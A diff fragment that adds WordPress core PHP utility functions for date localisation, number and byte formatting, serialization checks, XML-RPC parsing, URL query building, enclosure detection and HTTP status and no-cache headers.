+			return ( $gmt ) ? gmdate( 'Y-m-d H:i:s' ) : gmdate( 'Y-m-d H:i:s', ( time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) ) );
+		case 'timestamp':
+			return ( $gmt ) ? time() : time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
+		default:
+			return ( $gmt ) ? date( $type ) : date( $type, time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );
+	}
+}
+
+/**
+ * Retrieve the date in localized format, based on timestamp.
+ *
+ * If the locale specifies the locale month and weekday, then the locale will
+ * take over the format for the date. If it isn't, then the date format string
+ * will be used instead.
+ *
+ * @since 0.71
+ *
+ * @global WP_Locale $wp_locale
+ *
+ * @param string   $dateformatstring Format to display the date.
+ * @param bool|int $unixtimestamp    Optional. Unix timestamp. Default false.
+ * @param bool     $gmt              Optional. Whether to use GMT timezone. Default false.
+ *
+ * @return string The date, translated if locale specifies it.
+ */
+function date_i18n( $dateformatstring, $unixtimestamp = false, $gmt = false ) {
+	global $wp_locale;
+	$i = $unixtimestamp;
+
+	if ( false === $i ) {
+		$i = current_time( 'timestamp', $gmt );
+	}
+
+	/*
+	 * Store original value for language with untypical grammars.
+	 * See https://core.trac.wordpress.org/ticket/9396
+	 */
+	$req_format = $dateformatstring;
+
+	if ( ( !empty( $wp_locale->month ) ) && ( !empty( $wp_locale->weekday ) ) ) {
+		$datemonth = $wp_locale->get_month( date( 'm', $i ) );
+		$datemonth_abbrev = $wp_locale->get_month_abbrev( $datemonth );
+		$dateweekday = $wp_locale->get_weekday( date( 'w', $i ) );
+		$dateweekday_abbrev = $wp_locale->get_weekday_abbrev( $dateweekday );
+		$datemeridiem = $wp_locale->get_meridiem( date( 'a', $i ) );
+		$datemeridiem_capital = $wp_locale->get_meridiem( date( 'A', $i ) );
+		$dateformatstring = ' '.$dateformatstring;
+		$dateformatstring = preg_replace( "/([^\\\])D/", "\\1" . backslashit( $dateweekday_abbrev ), $dateformatstring );
+		$dateformatstring = preg_replace( "/([^\\\])F/", "\\1" . backslashit( $datemonth ), $dateformatstring );
+		$dateformatstring = preg_replace( "/([^\\\])l/", "\\1" . backslashit( $dateweekday ), $dateformatstring );
+		$dateformatstring = preg_replace( "/([^\\\])M/", "\\1" . backslashit( $datemonth_abbrev ), $dateformatstring );
+		$dateformatstring = preg_replace( "/([^\\\])a/", "\\1" . backslashit( $datemeridiem ), $dateformatstring );
+		$dateformatstring = preg_replace( "/([^\\\])A/", "\\1" . backslashit( $datemeridiem_capital ), $dateformatstring );
+
+		$dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 );
+	}
+	$timezone_formats = array( 'P', 'I', 'O', 'T', 'Z', 'e' );
+	$timezone_formats_re = implode( '|', $timezone_formats );
+	if ( preg_match( "/$timezone_formats_re/", $dateformatstring ) ) {
+		$timezone_string = get_option( 'timezone_string' );
+		if ( $timezone_string ) {
+			$timezone_object = timezone_open( $timezone_string );
+			$date_object = date_create( null, $timezone_object );
+			foreach ( $timezone_formats as $timezone_format ) {
+				if ( false !== strpos( $dateformatstring, $timezone_format ) ) {
+					$formatted = date_format( $date_object, $timezone_format );
+					$dateformatstring = ' '.$dateformatstring;
+					$dateformatstring = preg_replace( "/([^\\\])$timezone_format/", "\\1" . backslashit( $formatted ), $dateformatstring );
+					$dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 );
+				}
+			}
+		}
+	}
+	$j = @date( $dateformatstring, $i );
+
+	/**
+	 * Filters the date formatted based on the locale.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $j          Formatted date string.
+	 * @param string $req_format Format to display the date.
+	 * @param int    $i          Unix timestamp.
+	 * @param bool   $gmt        Whether to convert to GMT for time. Default false.
+	 */
+	$j = apply_filters( 'date_i18n', $j, $req_format, $i, $gmt );
+	return $j;
+}
+
+/**
+ * Determines if the date should be declined.
+ *
+ * If the locale specifies that month names require a genitive case in certain
+ * formats (like 'j F Y'), the month name will be replaced with a correct form.
+ *
+ * @since 4.4.0
+ *
+ * @global WP_Locale $wp_locale
+ *
+ * @param string $date Formatted date string.
+ * @return string The date, declined if locale specifies it.
+ */
+function wp_maybe_decline_date( $date ) {
+	global $wp_locale;
+
+	// i18n functions are not available in SHORTINIT mode
+	if ( ! function_exists( '_x' ) ) {
+		return $date;
+	}
+
+	/* translators: If months in your language require a genitive case,
+	 * translate this to 'on'. Do not translate into your own language.
+	 */
+	if ( 'on' === _x( 'off', 'decline months names: on or off' ) ) {
+		// Match a format like 'j F Y' or 'j. F'
+		if ( @preg_match( '#^\d{1,2}\.? [^\d ]+#u', $date ) ) {
+			$months          = $wp_locale->month;
+			$months_genitive = $wp_locale->month_genitive;
+
+			foreach ( $months as $key => $month ) {
+				$months[ $key ] = '# ' . $month . '( |$)#u';
+			}
+
+			foreach ( $months_genitive as $key => $month ) {
+				$months_genitive[ $key ] = ' ' . $month . '$1';
+			}
+
+			$date = preg_replace( $months, $months_genitive, $date );
+		}
+	}
+
+	// Used for locale-specific rules
+	$locale = get_locale();
+
+	if ( 'ca' === $locale ) {
+		// " de abril| de agost| de octubre..." -> " d'abril| d'agost| d'octubre..."
+		$date = preg_replace( '# de ([ao])#i', " d'\\1", $date );
+	}
+
+	return $date;
+}
+
+/**
+ * Convert float number to format based on the locale.
+ *
+ * @since 2.3.0
+ *
+ * @global WP_Locale $wp_locale
+ *
+ * @param float $number   The number to convert based on locale.
+ * @param int   $decimals Optional. Precision of the number of decimal places. Default 0.
+ * @return string Converted number in string format.
+ */
+function number_format_i18n( $number, $decimals = 0 ) {
+	global $wp_locale;
+
+	if ( isset( $wp_locale ) ) {
+		$formatted = number_format( $number, absint( $decimals ), $wp_locale->number_format['decimal_point'], $wp_locale->number_format['thousands_sep'] );
+	} else {
+		$formatted = number_format( $number, absint( $decimals ) );
+	}
+
+	/**
+	 * Filters the number formatted based on the locale.
+	 *
+	 * @since 2.8.0
+	 * @since 4.9.0 The `$number` and `$decimals` arguments were added.
+	 *
+	 * @param string $formatted Converted number in string format.
+	 * @param float  $number    The number to convert based on locale.
+	 * @param int    $decimals  Precision of the number of decimal places.
+	 */
+	return apply_filters( 'number_format_i18n', $formatted, $number, $decimals );
+}
+
+/**
+ * Convert number of bytes largest unit bytes will fit into.
+ *
+ * It is easier to read 1 KB than 1024 bytes and 1 MB than 1048576 bytes. Converts
+ * number of bytes to human readable number by taking the number of that unit
+ * that the bytes will go into it. Supports TB value.
+ *
+ * Please note that integers in PHP are limited to 32 bits, unless they are on
+ * 64 bit architecture, then they have 64 bit size. If you need to place the
+ * larger size then what PHP integer type will hold, then use a string. It will
+ * be converted to a double, which should always have 64 bit length.
+ *
+ * Technically the correct unit names for powers of 1024 are KiB, MiB etc.
+ *
+ * @since 2.3.0
+ *
+ * @param int|string $bytes    Number of bytes. Note max integer size for integers.
+ * @param int        $decimals Optional. Precision of number of decimal places. Default 0.
+ * @return string|false False on failure. Number string on success.
+ */
+function size_format( $bytes, $decimals = 0 ) {
+	$quant = array(
+		'TB' => TB_IN_BYTES,
+		'GB' => GB_IN_BYTES,
+		'MB' => MB_IN_BYTES,
+		'KB' => KB_IN_BYTES,
+		'B'  => 1,
+	);
+
+	if ( 0 === $bytes ) {
+		return number_format_i18n( 0, $decimals ) . ' B';
+	}
+
+	foreach ( $quant as $unit => $mag ) {
+		if ( doubleval( $bytes ) >= $mag ) {
+			return number_format_i18n( $bytes / $mag, $decimals ) . ' ' . $unit;
+		}
+	}
+
+	return false;
+}
+
+/**
+ * Get the week start and end from the datetime or date string from MySQL.
+ *
+ * @since 0.71
+ *
+ * @param string     $mysqlstring   Date or datetime field type from MySQL.
+ * @param int|string $start_of_week Optional. Start of the week as an integer. Default empty string.
+ * @return array Keys are 'start' and 'end'.
+ */
+function get_weekstartend( $mysqlstring, $start_of_week = '' ) {
+	// MySQL string year.
+	$my = substr( $mysqlstring, 0, 4 );
+
+	// MySQL string month.
+	$mm = substr( $mysqlstring, 8, 2 );
+
+	// MySQL string day.
+	$md = substr( $mysqlstring, 5, 2 );
+
+	// The timestamp for MySQL string day.
+	$day = mktime( 0, 0, 0, $md, $mm, $my );
+
+	// The day of the week from the timestamp.
+	$weekday = date( 'w', $day );
+
+	if ( !is_numeric($start_of_week) )
+		$start_of_week = get_option( 'start_of_week' );
+
+	if ( $weekday < $start_of_week )
+		$weekday += 7;
+
+	// The most recent week start day on or before $day.
+	$start = $day - DAY_IN_SECONDS * ( $weekday - $start_of_week );
+
+	// $start + 1 week - 1 second.
+	$end = $start + WEEK_IN_SECONDS - 1;
+	return compact( 'start', 'end' );
+}
+
+/**
+ * Unserialize value only if it was serialized.
+ *
+ * @since 2.0.0
+ *
+ * @param string $original Maybe unserialized original, if is needed.
+ * @return mixed Unserialized data can be any type.
+ */
+function maybe_unserialize( $original ) {
+	if ( is_serialized( $original ) ) // don't attempt to unserialize data that wasn't serialized going in
+		return @unserialize( $original );
+	return $original;
+}
+
+/**
+ * Check value to find if it was serialized.
+ *
+ * If $data is not an string, then returned value will always be false.
+ * Serialized data is always a string.
+ *
+ * @since 2.0.5
+ *
+ * @param string $data   Value to check to see if was serialized.
+ * @param bool   $strict Optional. Whether to be strict about the end of the string. Default true.
+ * @return bool False if not serialized and true if it was.
+ */
+function is_serialized( $data, $strict = true ) {
+	// if it isn't a string, it isn't serialized.
+	if ( ! is_string( $data ) ) {
+		return false;
+	}
+	$data = trim( $data );
+ 	if ( 'N;' == $data ) {
+		return true;
+	}
+	if ( strlen( $data ) < 4 ) {
+		return false;
+	}
+	if ( ':' !== $data[1] ) {
+		return false;
+	}
+	if ( $strict ) {
+		$lastc = substr( $data, -1 );
+		if ( ';' !== $lastc && '}' !== $lastc ) {
+			return false;
+		}
+	} else {
+		$semicolon = strpos( $data, ';' );
+		$brace     = strpos( $data, '}' );
+		// Either ; or } must exist.
+		if ( false === $semicolon && false === $brace )
+			return false;
+		// But neither must be in the first X characters.
+		if ( false !== $semicolon && $semicolon < 3 )
+			return false;
+		if ( false !== $brace && $brace < 4 )
+			return false;
+	}
+	$token = $data[0];
+	switch ( $token ) {
+		case 's' :
+			if ( $strict ) {
+				if ( '"' !== substr( $data, -2, 1 ) ) {
+					return false;
+				}
+			} elseif ( false === strpos( $data, '"' ) ) {
+				return false;
+			}
+			// or else fall through
+		case 'a' :
+		case 'O' :
+			return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
+		case 'b' :
+		case 'i' :
+		case 'd' :
+			$end = $strict ? '$' : '';
+			return (bool) preg_match( "/^{$token}:[0-9.E-]+;$end/", $data );
+	}
+	return false;
+}
+
+/**
+ * Check whether serialized data is of string type.
+ *
+ * @since 2.0.5
+ *
+ * @param string $data Serialized data.
+ * @return bool False if not a serialized string, true if it is.
+ */
+function is_serialized_string( $data ) {
+	// if it isn't a string, it isn't a serialized string.
+	if ( ! is_string( $data ) ) {
+		return false;
+	}
+	$data = trim( $data );
+	if ( strlen( $data ) < 4 ) {
+		return false;
+	} elseif ( ':' !== $data[1] ) {
+		return false;
+	} elseif ( ';' !== substr( $data, -1 ) ) {
+		return false;
+	} elseif ( $data[0] !== 's' ) {
+		return false;
+	} elseif ( '"' !== substr( $data, -2, 1 ) ) {
+		return false;
+	} else {
+		return true;
+	}
+}
+
+/**
+ * Serialize data, if needed.
+ *
+ * @since 2.0.5
+ *
+ * @param string|array|object $data Data that might be serialized.
+ * @return mixed A scalar data
+ */
+function maybe_serialize( $data ) {
+	if ( is_array( $data ) || is_object( $data ) )
+		return serialize( $data );
+
+	// Double serialization is required for backward compatibility.
+	// See https://core.trac.wordpress.org/ticket/12930
+	// Also the world will end. See WP 3.6.1.
+	if ( is_serialized( $data, false ) )
+		return serialize( $data );
+
+	return $data;
+}
+
+/**
+ * Retrieve post title from XMLRPC XML.
+ *
+ * If the title element is not part of the XML, then the default post title from
+ * the $post_default_title will be used instead.
+ *
+ * @since 0.71
+ *
+ * @global string $post_default_title Default XML-RPC post title.
+ *
+ * @param string $content XMLRPC XML Request content
+ * @return string Post title
+ */
+function xmlrpc_getposttitle( $content ) {
+	global $post_default_title;
+	if ( preg_match( '/<title>(.+?)<\/title>/is', $content, $matchtitle ) ) {
+		$post_title = $matchtitle[1];
+	} else {
+		$post_title = $post_default_title;
+	}
+	return $post_title;
+}
+
+/**
+ * Retrieve the post category or categories from XMLRPC XML.
+ *
+ * If the category element is not found, then the default post category will be
+ * used. The return type then would be what $post_default_category. If the
+ * category is found, then it will always be an array.
+ *
+ * @since 0.71
+ *
+ * @global string $post_default_category Default XML-RPC post category.
+ *
+ * @param string $content XMLRPC XML Request content
+ * @return string|array List of categories or category name.
+ */
+function xmlrpc_getpostcategory( $content ) {
+	global $post_default_category;
+	if ( preg_match( '/<category>(.+?)<\/category>/is', $content, $matchcat ) ) {
+		$post_category = trim( $matchcat[1], ',' );
+		$post_category = explode( ',', $post_category );
+	} else {
+		$post_category = $post_default_category;
+	}
+	return $post_category;
+}
+
+/**
+ * XMLRPC XML content without title and category elements.
+ *
+ * @since 0.71
+ *
+ * @param string $content XML-RPC XML Request content.
+ * @return string XMLRPC XML Request content without title and category elements.
+ */
+function xmlrpc_removepostdata( $content ) {
+	$content = preg_replace( '/<title>(.+?)<\/title>/si', '', $content );
+	$content = preg_replace( '/<category>(.+?)<\/category>/si', '', $content );
+	$content = trim( $content );
+	return $content;
+}
+
+/**
+ * Use RegEx to extract URLs from arbitrary content.
+ *
+ * @since 3.7.0
+ *
+ * @param string $content Content to extract URLs from.
+ * @return array URLs found in passed string.
+ */
+function wp_extract_urls( $content ) {
+	preg_match_all(
+		"#([\"']?)("
+			. "(?:([\w-]+:)?//?)"
+			. "[^\s()<>]+"
+			. "[.]"
+			. "(?:"
+				. "\([\w\d]+\)|"
+				. "(?:"
+					. "[^`!()\[\]{};:'\".,<>«»“”‘’\s]|"
+					. "(?:[:]\d+)?/?"
+				. ")+"
+			. ")"
+		. ")\\1#",
+		$content,
+		$post_links
+	);
+
+	$post_links = array_unique( array_map( 'html_entity_decode', $post_links[2] ) );
+
+	return array_values( $post_links );
+}
+
+/**
+ * Check content for video and audio links to add as enclosures.
+ *
+ * Will not add enclosures that have already been added and will
+ * remove enclosures that are no longer in the post. This is called as
+ * pingbacks and trackbacks.
+ *
+ * @since 1.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $content Post Content.
+ * @param int    $post_ID Post ID.
+ */
+function do_enclose( $content, $post_ID ) {
+	global $wpdb;
+
+	//TODO: Tidy this ghetto code up and make the debug code optional
+	include_once( ABSPATH . WPINC . '/class-IXR.php' );
+
+	$post_links = array();
+
+	$pung = get_enclosed( $post_ID );
+
+	$post_links_temp = wp_extract_urls( $content );
+
+	foreach ( $pung as $link_test ) {
+		if ( ! in_array( $link_test, $post_links_temp ) ) { // link no longer in post
+			$mids = $wpdb->get_col( $wpdb->prepare("SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post_ID, $wpdb->esc_like( $link_test ) . '%') );
+			foreach ( $mids as $mid )
+				delete_metadata_by_mid( 'post', $mid );
+		}
+	}
+
+	foreach ( (array) $post_links_temp as $link_test ) {
+		if ( !in_array( $link_test, $pung ) ) { // If we haven't pung it already
+			$test = @parse_url( $link_test );
+			if ( false === $test )
+				continue;
+			if ( isset( $test['query'] ) )
+				$post_links[] = $link_test;
+			elseif ( isset($test['path']) && ( $test['path'] != '/' ) &&  ($test['path'] != '' ) )
+				$post_links[] = $link_test;
+		}
+	}
+
+	/**
+	 * Filters the list of enclosure links before querying the database.
+	 *
+	 * Allows for the addition and/or removal of potential enclosures to save
+	 * to postmeta before checking the database for existing enclosures.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $post_links An array of enclosure links.
+	 * @param int   $post_ID    Post ID.
+	 */
+	$post_links = apply_filters( 'enclosure_links', $post_links, $post_ID );
+
+	foreach ( (array) $post_links as $url ) {
+		if ( $url != '' && !$wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post_ID, $wpdb->esc_like( $url ) . '%' ) ) ) {
+
+			if ( $headers = wp_get_http_headers( $url) ) {
+				$len = isset( $headers['content-length'] ) ? (int) $headers['content-length'] : 0;
+				$type = isset( $headers['content-type'] ) ? $headers['content-type'] : '';
+				$allowed_types = array( 'video', 'audio' );
+
+				// Check to see if we can figure out the mime type from
+				// the extension
+				$url_parts = @parse_url( $url );
+				if ( false !== $url_parts ) {
+					$extension = pathinfo( $url_parts['path'], PATHINFO_EXTENSION );
+					if ( !empty( $extension ) ) {
+						foreach ( wp_get_mime_types() as $exts => $mime ) {
+							if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) {
+								$type = $mime;
+								break;
+							}
+						}
+					}
+				}
+
+				if ( in_array( substr( $type, 0, strpos( $type, "/" ) ), $allowed_types ) ) {
+					add_post_meta( $post_ID, 'enclosure', "$url\n$len\n$mime\n" );
+				}
+			}
+		}
+	}
+}
+
+/**
+ * Retrieve HTTP Headers from URL.
+ *
+ * @since 1.5.1
+ *
+ * @param string $url        URL to retrieve HTTP headers from.
+ * @param bool   $deprecated Not Used.
+ * @return bool|string False on failure, headers on success.
+ */
+function wp_get_http_headers( $url, $deprecated = false ) {
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '2.7.0' );
+
+	$response = wp_safe_remote_head( $url );
+
+	if ( is_wp_error( $response ) )
+		return false;
+
+	return wp_remote_retrieve_headers( $response );
+}
+
+/**
+ * Determines whether the publish date of the current post in the loop is different
+ * from the publish date of the previous post in the loop.
+ *
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 0.71
+ *
+ * @global string $currentday  The day of the current post in the loop.
+ * @global string $previousday The day of the previous post in the loop.
+ *
+ * @return int 1 when new day, 0 if not a new day.
+ */
+function is_new_day() {
+	global $currentday, $previousday;
+	if ( $currentday != $previousday )
+		return 1;
+	else
+		return 0;
+}
+
+/**
+ * Build URL query based on an associative and, or indexed array.
+ *
+ * This is a convenient function for easily building url queries. It sets the
+ * separator to '&' and uses _http_build_query() function.
+ *
+ * @since 2.3.0
+ *
+ * @see _http_build_query() Used to build the query
+ * @link https://secure.php.net/manual/en/function.http-build-query.php for more on what
+ *		 http_build_query() does.
+ *
+ * @param array $data URL-encode key/value pairs.
+ * @return string URL-encoded string.
+ */
+function build_query( $data ) {
+	return _http_build_query( $data, null, '&', '', false );
+}
+
+/**
+ * From php.net (modified by Mark Jaquith to behave like the native PHP5 function).
+ *
+ * @since 3.2.0
+ * @access private
+ *
+ * @see https://secure.php.net/manual/en/function.http-build-query.php
+ *
+ * @param array|object  $data       An array or object of data. Converted to array.
+ * @param string        $prefix     Optional. Numeric index. If set, start parameter numbering with it.
+ *                                  Default null.
+ * @param string        $sep        Optional. Argument separator; defaults to 'arg_separator.output'.
+ *                                  Default null.
+ * @param string        $key        Optional. Used to prefix key name. Default empty.
+ * @param bool          $urlencode  Optional. Whether to use urlencode() in the result. Default true.
+ *
+ * @return string The query string.
+ */
+function _http_build_query( $data, $prefix = null, $sep = null, $key = '', $urlencode = true ) {
+	$ret = array();
+
+	foreach ( (array) $data as $k => $v ) {
+		if ( $urlencode)
+			$k = urlencode($k);
+		if ( is_int($k) && $prefix != null )
+			$k = $prefix.$k;
+		if ( !empty($key) )
+			$k = $key . '%5B' . $k . '%5D';
+		if ( $v === null )
+			continue;
+		elseif ( $v === false )
+			$v = '0';
+
+		if ( is_array($v) || is_object($v) )
+			array_push($ret,_http_build_query($v, '', $sep, $k, $urlencode));
+		elseif ( $urlencode )
+			array_push($ret, $k.'='.urlencode($v));
+		else
+			array_push($ret, $k.'='.$v);
+	}
+
+	if ( null === $sep )
+		$sep = ini_get('arg_separator.output');
+
+	return implode($sep, $ret);
+}
+
+/**
+ * Retrieves a modified URL query string.
+ *
+ * You can rebuild the URL and append query variables to the URL query by using this function.
+ * There are two ways to use this function; either a single key and value, or an associative array.
+ *
+ * Using a single key and value:
+ *
+ *     add_query_arg( 'key', 'value', 'http://example.com' );
+ *
+ * Using an associative array:
+ *
+ *     add_query_arg( array(
+ *         'key1' => 'value1',
+ *         'key2' => 'value2',
+ *     ), 'http://example.com' );
+ *
+ * Omitting the URL from either use results in the current URL being used
+ * (the value of `$_SERVER['REQUEST_URI']`).
+ *
+ * Values are expected to be encoded appropriately with urlencode() or rawurlencode().
+ *
+ * Setting any query variable's value to boolean false removes the key (see remove_query_arg()).
+ *
+ * Important: The return value of add_query_arg() is not escaped by default. Output should be
+ * late-escaped with esc_url() or similar to help prevent vulnerability to cross-site scripting
+ * (XSS) attacks.
+ *
+ * @since 1.5.0
+ *
+ * @param string|array $key   Either a query variable key, or an associative array of query variables.
+ * @param string       $value Optional. Either a query variable value, or a URL to act upon.
+ * @param string       $url   Optional. A URL to act upon.
+ * @return string New URL query string (unescaped).
+ */
+function add_query_arg() {
+	$args = func_get_args();
+	if ( is_array( $args[0] ) ) {
+		if ( count( $args ) < 2 || false === $args[1] )
+			$uri = $_SERVER['REQUEST_URI'];
+		else
+			$uri = $args[1];
+	} else {
+		if ( count( $args ) < 3 || false === $args[2] )
+			$uri = $_SERVER['REQUEST_URI'];
+		else
+			$uri = $args[2];
+	}
+
+	if ( $frag = strstr( $uri, '#' ) )
+		$uri = substr( $uri, 0, -strlen( $frag ) );
+	else
+		$frag = '';
+
+	if ( 0 === stripos( $uri, 'http://' ) ) {
+		$protocol = 'http://';
+		$uri = substr( $uri, 7 );
+	} elseif ( 0 === stripos( $uri, 'https://' ) ) {
+		$protocol = 'https://';
+		$uri = substr( $uri, 8 );
+	} else {
+		$protocol = '';
+	}
+
+	if ( strpos( $uri, '?' ) !== false ) {
+		list( $base, $query ) = explode( '?', $uri, 2 );
+		$base .= '?';
+	} elseif ( $protocol || strpos( $uri, '=' ) === false ) {
+		$base = $uri . '?';
+		$query = '';
+	} else {
+		$base = '';
+		$query = $uri;
+	}
+
+	wp_parse_str( $query, $qs );
+	$qs = urlencode_deep( $qs ); // this re-URL-encodes things that were already in the query string
+	if ( is_array( $args[0] ) ) {
+		foreach ( $args[0] as $k => $v ) {
+			$qs[ $k ] = $v;
+		}
+	} else {
+		$qs[ $args[0] ] = $args[1];
+	}
+
+	foreach ( $qs as $k => $v ) {
+		if ( $v === false )
+			unset( $qs[$k] );
+	}
+
+	$ret = build_query( $qs );
+	$ret = trim( $ret, '?' );
+	$ret = preg_replace( '#=(&|$)#', '$1', $ret );
+	$ret = $protocol . $base . $ret . $frag;
+	$ret = rtrim( $ret, '?' );
+	return $ret;
+}
+
+/**
+ * Removes an item or items from a query string.
+ *
+ * @since 1.5.0
+ *
+ * @param string|array $key   Query key or keys to remove.
+ * @param bool|string  $query Optional. When false uses the current URL. Default false.
+ * @return string New URL query string.
+ */
+function remove_query_arg( $key, $query = false ) {
+	if ( is_array( $key ) ) { // removing multiple keys
+		foreach ( $key as $k )
+			$query = add_query_arg( $k, false, $query );
+		return $query;
+	}
+	return add_query_arg( $key, false, $query );
+}
+
+/**
+ * Returns an array of single-use query variable names that can be removed from a URL.
+ *
+ * @since 4.4.0
+ *
+ * @return array An array of parameters to remove from the URL.
+ */
+function wp_removable_query_args() {
+	$removable_query_args = array(
+		'activate',
+		'activated',
+		'approved',
+		'deactivate',
+		'deleted',
+		'disabled',
+		'enabled',
+		'error',
+		'hotkeys_highlight_first',
+		'hotkeys_highlight_last',
+		'locked',
+		'message',
+		'same',
+		'saved',
+		'settings-updated',
+		'skipped',
+		'spammed',
+		'trashed',
+		'unspammed',
+		'untrashed',
+		'update',
+		'updated',
+		'wp-post-new-reload',
+	);
+
+	/**
+	 * Filters the list of query variables to remove.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param array $removable_query_args An array of query variables to remove from a URL.
+	 */
+	return apply_filters( 'removable_query_args', $removable_query_args );
+}
+
+/**
+ * Walks the array while sanitizing the contents.
+ *
+ * @since 0.71
+ *
+ * @param array $array Array to walk while sanitizing contents.
+ * @return array Sanitized $array.
+ */
+function add_magic_quotes( $array ) {
+	foreach ( (array) $array as $k => $v ) {
+		if ( is_array( $v ) ) {
+			$array[$k] = add_magic_quotes( $v );
+		} else {
+			$array[$k] = addslashes( $v );
+		}
+	}
+	return $array;
+}
+
+/**
+ * HTTP request for URI to retrieve content.
+ *
+ * @since 1.5.1
+ *
+ * @see wp_safe_remote_get()
+ *
+ * @param string $uri URI/URL of web page to retrieve.
+ * @return false|string HTTP content. False on failure.
+ */
+function wp_remote_fopen( $uri ) {
+	$parsed_url = @parse_url( $uri );
+
+	if ( !$parsed_url || !is_array( $parsed_url ) )
+		return false;
+
+	$options = array();
+	$options['timeout'] = 10;
+
+	$response = wp_safe_remote_get( $uri, $options );
+
+	if ( is_wp_error( $response ) )
+		return false;
+
+	return wp_remote_retrieve_body( $response );
+}
+
+/**
+ * Set up the WordPress query.
+ *
+ * @since 2.0.0
+ *
+ * @global WP       $wp_locale
+ * @global WP_Query $wp_query
+ * @global WP_Query $wp_the_query
+ *
+ * @param string|array $query_vars Default WP_Query arguments.
+ */
+function wp( $query_vars = '' ) {
+	global $wp, $wp_query, $wp_the_query;
+	$wp->main( $query_vars );
+
+	if ( !isset($wp_the_query) )
+		$wp_the_query = $wp_query;
+}
+
+/**
+ * Retrieve the description for the HTTP status.
+ *
+ * @since 2.3.0
+ *
+ * @global array $wp_header_to_desc
+ *
+ * @param int $code HTTP status code.
+ * @return string Empty string if not found, or description if found.
+ */
+function get_status_header_desc( $code ) {
+	global $wp_header_to_desc;
+
+	$code = absint( $code );
+
+	if ( !isset( $wp_header_to_desc ) ) {
+		$wp_header_to_desc = array(
+			100 => 'Continue',
+			101 => 'Switching Protocols',
+			102 => 'Processing',
+
+			200 => 'OK',
+			201 => 'Created',
+			202 => 'Accepted',
+			203 => 'Non-Authoritative Information',
+			204 => 'No Content',
+			205 => 'Reset Content',
+			206 => 'Partial Content',
+			207 => 'Multi-Status',
+			226 => 'IM Used',
+
+			300 => 'Multiple Choices',
+			301 => 'Moved Permanently',
+			302 => 'Found',
+			303 => 'See Other',
+			304 => 'Not Modified',
+			305 => 'Use Proxy',
+			306 => 'Reserved',
+			307 => 'Temporary Redirect',
+			308 => 'Permanent Redirect',
+
+			400 => 'Bad Request',
+			401 => 'Unauthorized',
+			402 => 'Payment Required',
+			403 => 'Forbidden',
+			404 => 'Not Found',
+			405 => 'Method Not Allowed',
+			406 => 'Not Acceptable',
+			407 => 'Proxy Authentication Required',
+			408 => 'Request Timeout',
+			409 => 'Conflict',
+			410 => 'Gone',
+			411 => 'Length Required',
+			412 => 'Precondition Failed',
+			413 => 'Request Entity Too Large',
+			414 => 'Request-URI Too Long',
+			415 => 'Unsupported Media Type',
+			416 => 'Requested Range Not Satisfiable',
+			417 => 'Expectation Failed',
+			418 => 'I\'m a teapot',
+			421 => 'Misdirected Request',
+			422 => 'Unprocessable Entity',
+			423 => 'Locked',
+			424 => 'Failed Dependency',
+			426 => 'Upgrade Required',
+			428 => 'Precondition Required',
+			429 => 'Too Many Requests',
+			431 => 'Request Header Fields Too Large',
+			451 => 'Unavailable For Legal Reasons',
+
+			500 => 'Internal Server Error',
+			501 => 'Not Implemented',
+			502 => 'Bad Gateway',
+			503 => 'Service Unavailable',
+			504 => 'Gateway Timeout',
+			505 => 'HTTP Version Not Supported',
+			506 => 'Variant Also Negotiates',
+			507 => 'Insufficient Storage',
+			510 => 'Not Extended',
+			511 => 'Network Authentication Required',
+		);
+	}
+
+	if ( isset( $wp_header_to_desc[$code] ) )
+		return $wp_header_to_desc[$code];
+	else
+		return '';
+}
+
+/**
+ * Set HTTP status header.
+ *
+ * @since 2.0.0
+ * @since 4.4.0 Added the `$description` parameter.
+ *
+ * @see get_status_header_desc()
+ *
+ * @param int    $code        HTTP status code.
+ * @param string $description Optional. A custom description for the HTTP status.
+ */
+function status_header( $code, $description = '' ) {
+	if ( ! $description ) {
+		$description = get_status_header_desc( $code );
+	}
+
+	if ( empty( $description ) ) {
+		return;
+	}
+
+	$protocol = wp_get_server_protocol();
+	$status_header = "$protocol $code $description";
+	if ( function_exists( 'apply_filters' ) )
+
+		/**
+		 * Filters an HTTP status header.
+		 *
+		 * @since 2.2.0
+		 *
+		 * @param string $status_header HTTP status header.
+		 * @param int    $code          HTTP status code.
+		 * @param string $description   Description for the status code.
+		 * @param string $protocol      Server protocol.
+		 */
+		$status_header = apply_filters( 'status_header', $status_header, $code, $description, $protocol );
+
+	@header( $status_header, true, $code );
+}
+
+/**
+ * Get the header information to prevent caching.
+ *
+ * The several different headers cover the different ways cache prevention
+ * is handled by different browsers
+ *
+ * @since 2.8.0
+ *
+ * @return array The associative array of header names and field values.
+ */
+function wp_get_nocache_headers() {
+	$headers = array(
+		'Expires' => 'Wed, 11 Jan 1984 05:00:00 GMT',
+		'Cache-Control' => 'no-cache, must-revalidate, max-age=0',
+	);
+
+	if ( function_exists('apply_filters') ) {
+		/**
+		 * Filters the cache-controlling headers.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @see wp_get_nocache_headers()
+		 *
+		 * @param array $headers {
+		 *     Header names and field values.
+		 *
+		 *     @type string $Expires       Expires header.
+		 *     @type string $Cache-Control Cache-Control header.
+		 * }
+		 */
+		$headers = (array) apply_filters( 'nocache_headers', $headers );
+	}
+	$headers['Last-Modified'] = false;
+	return $headers;
+}
+
+/**
+ * Set the headers to prevent caching for the different browsers.
+ *
+ * Different browsers support different nocache headers, so several
